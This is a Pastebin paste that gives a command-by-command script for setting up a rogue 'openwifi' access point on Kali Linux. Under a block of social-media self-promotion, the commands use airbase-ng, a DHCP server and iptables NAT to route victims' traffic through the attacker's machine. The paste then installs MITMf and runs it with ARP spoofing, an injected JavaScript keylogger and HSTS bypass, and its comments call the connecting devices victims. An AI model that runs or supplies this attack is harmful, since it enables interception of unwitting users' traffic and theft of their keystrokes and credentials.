codexual

Fake AP - Kali linux

Jun 26th, 2018
2,073
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.96 KB | None | 0 0
  1. // http://NuLLocK.com/forums
  2.  
  3. // Content is below all this junk, but you should read this junk if you support me! <3
  4.  
  5. // Codexual @ NuLLocK.com
  6. // Become a Patreon.com/Codexual
  7. // Donation Are accepted Paypal.me/Codexual
  8. // YouTube.com/Codexual
  9. // Twitter.com/Codexual
  10. // Facebook.com/Codexual
  11. // Instagram.com/Codexual
  12. // Snapchat.com/add/Codexual
  13. // Twitch.tv/Codexual
  14. // Mixer.com/Codexual
  15. //
  16. // Gaming
  17. // https://steamcommunity.com/id/Codexual
  18. // Xbox - Codexual
  19. // PS4 - Codexual
  20. //
  21. // Hey Viewer, I would like to thank you. Speaking of being thankful, if you truly support my work, or just wanna be a good sport. // All I all of you is to follow me on my social media, like my content on all social media if you see me post something, and share // my content when you see me post something. Everything does help out, thank you again!
  22. //
  23. // Every Saturday I do a Q/A video, so if you have a question you may ask me at http://nullock.com/askme - Look for the Q/A video on
  24. // my YouTube Channel! (:
  25.  
  26.  
  27. route -n
  28. //apt-get install dhcp3-server
  29. apt-get install isc-dhcp-server
  30. leafpad /etc/dhcp/dhcpd.conf
  31.  
  32. //
  33. INTERFACES="at0";
  34.  
  35. subnet 192.168.2.0 netmask 255.255.255.0 {
  36. option routers 192.168.2.1;
  37. option subnet-mask 255.255.255.0;
  38. option domain-name "openwifi";
  39. option domain-name-servers 1.1.1.1,1.0.0.1;
  40. range 192.168.2.100 192.168.2.125;
  41. }
  42. //
  43.  
  44. airmon-ng
  45. airmon-ng check kill
  46. airmon-ng start wlan0
  47. //Creating the WiFi
  48. airbase-ng -c 11 -e openwifi wlan0mon
  49.  
  50. ifconfig at0 up
  51.  
  52. //Creating New Interface "at0"
  53. ifconfig at0 192.168.2.1 netmask 255.255.255.0
  54.  
  55. //MTU allow balanced / large packet data to flow
  56. ifconfig at0 mtu 1400
  57.  
  58. //Adds Routing Table
  59. route add -net 192.168.2.0 netmask 255.255.255.0 gw 192.168.2.1
  60.  
  61. //Clears any existing iptables entries.
  62. iptables --flush
  63. iptables --table nat --flush
  64. iptables --delete-chain
  65. iptables --table nat --delete-chain
  66.  
  67. //echo - Forwarding Traffic thru our Fake AP and Your Internet source. (at0 <- -> victim device)
  68. echo 1 > /proc/sys/net/ipv4/ip_forward
  69.  
  70. iptables -t nat -A PREROUTING -p udp -j DNAT --to 10.0.0.1
  71. iptables -P FORWARD ACCEPT
  72. iptables --append FORWARD --in-interface at0 -j ACCEPT
  73. iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
  74. iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
  75.  
  76. //Starting DHCP Server - Automatically Assigning an IP Address on connection.
  77. dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0
  78.  
  79. /etc/init.d/isc-dhcp-server start
  80. service isc-dhcp-server start
  81.  
  82. //Installing MITMf
  83.  
  84. apt-get install python-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev libcapstone3 libcapstone-dev libffi-dev file
  85.  
  86. git clone https://github.com/byt3bl33d3r/MITMf.git
  87. cd MITMf && git submodule init && git submodule update --recursive
  88. cd MITMf
  89. pip install -r requirements.txt
  90.  
  91. python mitmf.py -i at0 --spoof --arp --gateway 192.168.2.1 --jskeylogger --hsts
Advertisement
Add Comment
Please, Sign In to add comment